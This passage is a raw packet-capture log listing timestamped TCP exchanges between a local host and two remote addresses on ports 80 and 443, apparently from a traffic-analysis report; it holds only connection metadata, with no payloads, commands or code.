Dec 2, 2024 07:37:27.309344053 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.311708927 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.311801910 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.366436005 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.366586924 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.366887093 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.366900921 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.366945982 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.367609024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.367669106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.367872000 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.367888927 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.367933989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.367933989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.369020939 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.369097948 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.369890928 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.369976997 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.370994091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.371049881 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.371072054 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.371093035 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.371161938 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.371161938 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.371448994 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.371514082 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.372210026 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.372261047 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.373208046 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.373231888 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.373246908 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.373325109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.373325109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.373325109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.374299049 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.374375105 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.376240969 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.376257896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.376324892 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.376650095 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.376743078 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.377007008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.377019882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.377077103 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.377078056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.377831936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.377846003 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.377902031 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.377902031 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.379631042 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.379693985 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.379813910 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.379826069 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.379867077 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.380808115 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.380856991 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.380877972 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.380903959 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.382091045 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.382106066 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.382117987 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.382210016 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.382210016 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.383397102 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.383409023 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.383446932 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.383465052 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.445558071 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.445602894 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.445617914 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.445719004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.445719004 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.445732117 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.445771933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.447638035 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.447652102 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.447695017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.447726965 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.448024988 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.448038101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.448077917 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.448951960 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.449018955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.449496031 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.449559927 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.449877024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.449889898 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.449928999 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.451822996 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.451879025 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.452023983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.452038050 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.452071905 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.453310013 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.453371048 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.453495979 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.453510046 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.453547955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.454442978 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.454531908 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.455770016 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.455781937 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.455831051 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.456511021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.456597090 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.456621885 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.456635952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.456671000 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.458234072 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.458307028 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.458456039 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.458468914 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.458554983 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.497318983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.497335911 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.497517109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.497540951 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.497600079 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.497693062 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.497747898 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.498684883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.498697042 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.498759985 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.499633074 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.499697924 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.499804020 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.499867916 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.500823021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.500888109 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.501357079 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.501458883 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.501841068 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.501853943 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.501892090 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.502746105 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.502813101 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.503103018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.503146887 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.503804922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.503824949 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.503861904 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.503871918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.505491018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.505559921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.506584883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.506670952 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.506917000 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.506972075 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.507595062 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.507608891 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.507642031 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.507684946 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.507843018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.507894039 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.508158922 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.508172035 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.508217096 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.509236097 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.509298086 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.509825945 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.509879112 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.510396004 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.510448933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.511651039 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.511666059 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.511677027 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.511703968 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.511745930 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.512775898 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.512845039 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.513402939 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.513484001 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.513520956 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.513535976 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.513565063 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.513602018 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.514537096 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.514595032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.514681101 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.514760971 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.515635967 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.515784979 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.515804052 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.515853882 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.516688108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.516740084 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.516778946 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.516833067 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.517702103 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.517759085 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.517961025 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.518024921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.521511078 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.521526098 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.521598101 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.521644115 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.521656036 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.521667004 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.521831036 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.521831036 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.576747894 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.576862097 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.576881886 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.576929092 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.577244997 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.577295065 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.577754974 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.577871084 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.578511953 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.578525066 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.578571081 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.578571081 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.579473019 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.579556942 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.579766989 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.579839945 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.580534935 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.580589056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.581114054 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.581171036 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.581701040 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.581733942 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.582161903 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.582248926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.582911968 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.582979918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.583019018 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.583062887 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.583832026 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.583880901 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.584101915 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.584173918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.584785938 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.584866047 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.585809946 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.585861921 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.585867882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.585880995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.585927963 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.585927963 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.586966038 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.587038994 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.587815046 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.587866068 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.588006973 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.588176012 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.588306904 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.588396072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.589128971 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.589174986 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.589618921 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.589668989 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.590085030 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.590141058 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.655735970 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:27.655869007 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:27.998949051 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.013493061 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.038527966 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.039254904 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.054171085 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.054289103 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.076069117 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.076081991 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.076802969 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.076809883 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.077363014 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.077373981 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.078067064 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.078073025 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.078375101 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.078386068 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.078933954 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.078938961 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.079451084 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.079464912 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.079940081 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.079946041 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.087836981 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.132270098 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.137516022 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.137521982 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.138062000 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.138068914 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.444315910 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.444377899 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.444457054 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.454236031 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.454236031 CET	49737	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.454260111 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.454269886 CET	443	49737	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.474889994 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.474972010 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.475038052 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.490674019 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.490734100 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.490807056 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.503106117 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.503161907 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.503221989 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.514317989 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.514338970 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.514400005 CET	49739	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.514408112 CET	443	49739	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.515479088 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.515501976 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.515537024 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.515544891 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.517014980 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.517035007 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.517047882 CET	49736	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.517055035 CET	443	49736	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.527270079 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.527304888 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.527405977 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.528490067 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.528513908 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.528604984 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.528809071 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.528821945 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.529845953 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.529860020 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.529916048 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.530021906 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.530033112 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.530107975 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.530117035 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.531697035 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.531723976 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.531778097 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.532150984 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.532164097 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.543540955 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.543595076 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.543652058 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.545129061 CET	49738	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.545134068 CET	443	49738	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.563901901 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.563920021 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:28.563991070 CET	49745	443	192.168.2.6	13.107.246.63
